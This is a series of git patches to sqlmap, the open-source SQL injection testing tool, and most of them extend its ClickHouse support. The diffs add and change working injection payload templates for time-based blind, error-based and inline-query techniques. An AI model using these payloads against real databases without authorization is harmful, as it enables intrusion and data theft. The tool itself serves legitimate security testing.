-1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - pass \ No newline at end of file + pass From d7180d38c47fadf60caa4d96177db30a9e79b6ac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:30:05 +0100 Subject: [PATCH 058/524] Some fixes related to ClickHouse support (#5229) --- data/xml/payloads/time_blind.xml | 20 ++++++++++---------- lib/core/dicts.py | 4 ++-- lib/core/enums.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- 6 files changed, 16 insertions(+), 16 deletions(-) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index f181a758e4c..944ec8008b4 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -195,9 +195,9 @@ 2 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -235,9 +235,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -276,9 +276,9 @@ 2 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -318,9 +318,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -1628,9 +1628,9 @@ 2 1,2,3,9 1 - IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index ee455729afc..e031eca8e48 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -270,7 +270,7 @@ DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "DIFFERENCE(NULL,NULL)", - DBMS.MYSQL: "QUARTER(NULL)", + DBMS.MYSQL: "QUARTER(NULL XOR NULL)", DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "UNLIKELY(NULL)", @@ -288,7 +288,7 @@ DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", - DBMS.CLICKHOUSE: "coalesce(NULL)", + DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL", } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index 4fba2821879..f589e9de4f6 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -52,7 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" - CLICKHOUSE = "Clickhouse" + CLICKHOUSE = "ClickHouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" diff --git a/lib/core/settings.py b/lib/core/settings.py index b7496e467ad..4009d625c1a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.1" +VERSION = "1.7.2.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 88db47a8052..873a0bb1bd7 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -18,7 +18,7 @@ class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ - This class defines Clickhouse methods + This class defines ClickHouse methods """ def __init__(self): diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index d1df204e2d9..a61ca5b943e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -175,7 +175,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") + result = inject.checkBooleanExpression("QUARTER(NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL From 30ba167cc1506fa6531c84383428d5bb30d81412 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:56:50 +0100 Subject: [PATCH 059/524] Some more fixes related to ClickHouse support (#5229) --- data/xml/errors.xml | 5 +++-- data/xml/payloads/error_based.xml | 32 ++++++++++++++++++++++------- data/xml/payloads/inline_query.xml | 10 ++++----- data/xml/payloads/time_blind.xml | 26 +++++++++++++++++++---- data/xml/queries.xml | 4 ++-- lib/controller/handler.py | 6 +++--- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- 8 files changed, 62 insertions(+), 25 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index b78dd91c649..4993a8ae81e 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -211,8 +211,9 @@ - - + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 6cc089d09d6..9b1d2725ffe 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -838,7 +838,7 @@ IBM DB2 OR error-based - WHERE or HAVING clause 2 4 - 1 + 3 1 1 OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -853,23 +853,41 @@ - - Clickhouse AND error-based - Parameter replace + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 - 2 + 3 1 1,2,3,9 1 - AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String) + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ + + ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') - AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String) + OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
- Clickhouse + ClickHouse
diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 8e3b91f7048..7269be695c4 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -135,21 +135,21 @@ - Clickhouse inline queries + ClickHouse inline queries 3 - 2 + 3 1 1,2,3,8 3 - (SELECT '[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]') + ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]') + ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
- Clickhouse + ClickHouse
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 944ec8008b4..5de31ec45fe 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1494,14 +1494,32 @@ - - Clickhouse AND time-based blind (heavy query) - fuzzBits + ClickHouse AND time-based blind (heavy query) 5 - 3 + 4 1 1,2,3 1 + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+
+ + + ClickHouse OR time-based blind (heavy query) + 5 + 5 + 3 + 1,2,3 + 1 OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) @@ -1510,7 +1528,7 @@
- Clickhouse + ClickHouse
diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 82570ce7e4c..a3e006ccb72 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1319,7 +1319,7 @@
- + @@ -1331,7 +1331,7 @@ - + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 0e3c1999f92..1c4994e8484 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -47,8 +47,8 @@ from plugins.dbms.altibase import AltibaseMap from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap -from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn -from plugins.dbms.clickhouse import ClickhouseMap +from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn +from plugins.dbms.clickhouse import ClickHouseMap from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap from plugins.dbms.cubrid.connector import Connector as CubridConn @@ -125,7 +125,7 @@ def setHandler(): (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), - (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn), (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), diff --git a/lib/core/settings.py b/lib/core/settings.py index 4009d625c1a..9d224253ad7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.2" +VERSION = "1.7.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 873a0bb1bd7..a4a1314420f 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -16,7 +16,7 @@ from plugins.dbms.clickhouse.takeover import Takeover from plugins.generic.misc import Miscellaneous -class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): +class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines ClickHouse methods """ From 46495f70f8a8aaa4345242d26cc82a023f272481 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Feb 2023 00:00:21 +0100 Subject: [PATCH 060/524] Adding char escaper to ClickHouse support (#5229) --- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/syntax.py | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d224253ad7..7ea40144e6e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.3" +VERSION = "1.7.2.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 5adee2f519f..2d4cfcaaf46 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,18 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" True """ - return expression + def escaper(value): + return "||".join("char(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) From 9eb970e7c7be72f4e56bb347f7dbfb687570cdb2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Feb 2023 00:28:33 +0100 Subject: [PATCH 061/524] More fixes related to ClickHouse support (#5229) --- lib/core/agent.py | 2 +- lib/core/settings.py | 5 +++-- plugins/dbms/clickhouse/connector.py | 5 +---- plugins/dbms/clickhouse/enumeration.py | 3 +-- plugins/dbms/clickhouse/filesystem.py | 11 +++++++++-- plugins/dbms/clickhouse/fingerprint.py | 2 +- plugins/dbms/clickhouse/takeover.py | 21 +++++++++++++++++++-- plugins/generic/entries.py | 2 +- 8 files changed, 36 insertions(+), 15 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 3a09c44508d..53ef84a0835 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1027,7 +1027,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB): + elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr diff --git a/lib/core/settings.py b/lib/core/settings.py index 7ea40144e6e..9b6a74fac41 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.4" +VERSION = "1.7.2.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -283,7 +283,7 @@ ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") -CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) @@ -415,6 +415,7 @@ r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", + r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)" diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index 76d1d77e181..b58d1135780 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,13 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.common import getSafeExString -from lib.core.data import logger -from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index 4a1cdb92ff1..8e9d81f7d7d 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index 5991a52d8ac..83b3aa1784b 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,11 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass + def readFile(self, remoteFile): + errMsg = "on ClickHouse it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on ClickHouse it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 5b2b5fe3c5e..4007a6b8f2d 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index f061c246972..8f862bf1a6e 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,11 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - pass + def osCmd(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 609eb44321f..84b1c0e032c 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -239,7 +239,7 @@ def dumpTable(self, foundData=None): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) From d3bfe59401d0b756d4faf8093e732d7233358847 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Feb 2023 09:40:42 +0100 Subject: [PATCH 062/524] Fixes #5308 --- lib/controller/controller.py | 18 ++++++++++++++++++ lib/core/option.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 2ea81d9c242..22cd581614c 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -568,6 +568,24 @@ def start(): infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + testSqlInj = False + kb.testedParams.add(paramKey) if testSqlInj: diff --git a/lib/core/option.py b/lib/core/option.py index 72d834d07cc..2d50d84f9f5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2145,6 +2145,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None + kb.processNonCustom = None kb.processUserMarks = None kb.proxyAuthHeader = None kb.queryCounter = 0 diff --git a/lib/core/settings.py b/lib/core/settings.py index 9b6a74fac41..e37f909ab44 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.5" +VERSION = "1.7.2.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4357b0087d4152caba0bb04b702d9b119dfbc537 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Feb 2023 09:49:42 +0100 Subject: [PATCH 063/524] Minor refactoring for #5308 --- lib/controller/controller.py | 35 +++++++++++++++++------------------ lib/core/settings.py | 2 +- 2 files changed, 18 insertions(+), 19 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 22cd581614c..8441279a954 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -512,6 +512,23 @@ def start(): testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + continue + if paramKey in kb.testedParams: testSqlInj = False @@ -568,24 +585,6 @@ def start(): infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - if kb.processUserMarks: - if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - if kb.processNonCustom is None: - message = "other non-custom parameters found. " - message += "Do you want to process them too? [Y/n/q] " - choice = readInput(message, default='Y').upper() - - if choice == 'Q': - raise SqlmapUserQuitException - else: - kb.processNonCustom = choice == 